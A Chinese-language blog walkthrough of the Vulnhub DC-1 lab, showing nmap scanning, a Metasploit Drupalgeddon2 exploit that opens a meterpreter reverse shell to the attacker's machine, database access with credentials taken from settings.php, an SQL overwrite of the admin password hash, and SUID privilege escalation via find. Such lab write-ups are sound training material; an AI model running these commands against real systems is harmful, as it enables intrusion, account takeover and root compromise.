Vulnhub靶机渗透学习——DC-1

Vulnhub靶机

Vulnhub靶机下载:/
官网地址:https://download.vulnhub.com/dc/DC-1.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后使用VMware即可。
image.png
image.png
DC-1:找到 5个flag

环境准备

攻击机:kali
靶机:DC-1
同一网卡

DC-1靶机渗透

信息收集

使用kali自带的nmap探测整个虚拟机网段存活主机,发现靶机ip’:

nmap -sP -PI -PT 192.168.0.1/24

image.png
确认ip后,可以探测一下开放的端口信息及服务:

nmap -sCV 192.168.0.129

image.png
可以看到开放了22、80、111端口,22端口一般利用思路就是ssh远程连接、可以尝试爆破但成功几率很小,80端口利用思路就是从网站寻找漏洞,注意nmap扫描出的80端口开放的服务里面有robots.txt等等敏感文件,可以尝试利用。

漏洞发现

接下来先用浏览器访问80端口,利用浏览器插件Wappalyzer查看网站框架服务
image.png
可以看到网站使用的是PHP语言编写的开源内容管理系统Drupal 7
image.pngimage.png
该 CMS 版本存在很多历史漏洞

漏洞利用

直接上msf搜索drupal相关利用模块

msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > info

       Name: Drupal Drupalgeddon 2 Forms API Property Injection
     Module: exploit/unix/webapp/drupal_drupalgeddon2
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-28

Provided by:
  Jasper Mattsson
  a2u
  Nixawk
  FireFart
  wvu <wvu@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic (PHP In-Memory)
  1   Automatic (PHP Dropper)
  2   Automatic (Unix In-Memory)
  3   Automatic (Linux Dropper)
  4   Drupal 7.x (PHP In-Memory)
  5   Drupal 7.x (PHP Dropper)
  6   Drupal 7.x (Unix In-Memory)
  7   Drupal 7.x (Linux Dropper)
  8   Drupal 8.x (PHP In-Memory)
  9   Drupal 8.x (PHP Dropper)
  10  Drupal 8.x (Unix In-Memory)
  11  Drupal 8.x (Linux Dropper)

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  DUMP_OUTPUT  false            no        Dump payload command output
  PHP_FUNC     passthru         yes       PHP function to execute
  Proxies                       no        A proxy chain of format type:host:port[,type:hos
                                          t:port][...]
  RHOSTS                        yes       The target host(s), see https://github.com/rapid
                                          7/metasploit-framework/wiki/Using-Metasploit
  RPORT        80               yes       The target port (TCP)
  SSL          false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI    /                yes       Path to Drupal install
  VHOST                         no        HTTP server virtual host

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a Drupal property injection in the Forms API. 
  Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are 
  vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-7600
  https://www.drupal.org/sa-core-2018-002
  https://greysec.net/showthread.php?tid=2912
  https://research.checkpoint.com/uncovering-drupalgeddon-2/
  https://github.com/a2u/CVE-2018-7600
  https://github.com/nixawk/labs/issues/19
  https://github.com/FireFart/CVE-2018-7600

Also known as:
  SA-CORE-2018-002
  Drupalgeddon 2

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.0.129
RHOSTS => 192.168.0.129
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.0.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39282 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.10:4444 -> 192.168.0.119:57515) at 2022-12-10 00:53:43 -0500
meterpreter > 

可以看到利用msf的模块直接利用历史漏洞建立了一个了会话
image.png
进入 shell
image.png
可以看到只是一个网站权限,ls 目录下有第一个 flag 文件,cat 一下
image.png
提示下一个 flag 要从网站配置文件入手,接下来在寻找配置文件之前,先建立一个稳定 shell

which python
python -c 'import pty;pty.spawn("/bin/bash")'

which python 存在 python 环境,利用 python 建立一个稳定 shell
image.png
接下来谷歌搜索了一下该 cms 的配置文件路径/var/www/sites/default/settings.php
image.png
查看配置文件
image.png
看到了 flag2 和数据库用户密码,flag2 提示:

暴力破解和字典攻击并不是获得访问权限的唯一途径(你也需要访问权限)。你能用这些凭证做什么

先进数据库看看有没有啥有用的信息

mysql -u dbuser -pR0ck3t

image.png

show databases;

image.png

use drupaldb;

image.png

show tables;

image.png

select * from users;

image.png
可以看到 admin 用户和 hash 加密的密码,这里可能第一想法就是爆破这个密码,但前面提示了爆破并不是唯一的方法,所以这里尝试利用更新数据库的 admin 密码来替换成新的密码,但前提是得先将密码从明文加密成与数据库存储的密文的加密方式一样,这里谷歌搜索了一下
image.png
https://drupalchina.cn/node/2128
image.png
发现在网站的scripts/目录下存在一个加密脚本password-hash.sh,利用 php 执行该脚本即可将明文加密成 hash 密文,于是去网站目录寻找,发现确实存在该脚本
image.png

php scripts/password-hash.sh admin

利用该脚本生成一个 明文为 admin 的加密密文
image.png

$S$Dq14obdhz1OppZXq54lGR7A66PzCW.AYpsLfrz90kSAWVMHFKWkA

将这窜密文利用 sql 语句更新替换 admin 用户的密码

##修改密码
update drupaldb.users set pass="$S$Dq14obdhz1OppZXq54lGR7A66PzCW.AYpsLfrz90kSAWVMHFKWkA" where name="admin"; 

image.png
替换成功,现在 admin 的密码应该为 admin,去网站登录一下
image.png
在 content 中 发现 flag3
image.png

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。
关键词:perms、find、-exec、shadow

这里查看一下/etc/passwd

cat /etc/passwd

image.png
发现了一个 flag4 用户,去 flag4 用户目录查看一下
image.png
发现 flag4 的提示

您可以使用相同的方法来查找或访问根中的标志吗?
可能。但也许没那么容易。也许是这样?

SUID 提权

这里利用 find 命令来查看一下具有root权限的suid 命令

find / -type f -user root -perm -4000 2>/dev/null
find / -perm -4000
find / -perm -u=s -type f 2>/dev/null

image.png
发现 find 命令就在其中,尝试利用 find 提权,这里提供一个提权命令的辅助网站
https://gtfobins.github.io/
直接查询 find 命令提权方式
image.png
image.png

find . -exec /bin/sh \; -quit

image.png
成功提权到 root 用户

获取 Flag

image.png

靶场总结

  1. Metasploit的EXP使用
  2. drupal 7的漏洞
  3. 通过配置文件获取数据库账号
  4. 数据库更新密码
  5. SUID 提权——find
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值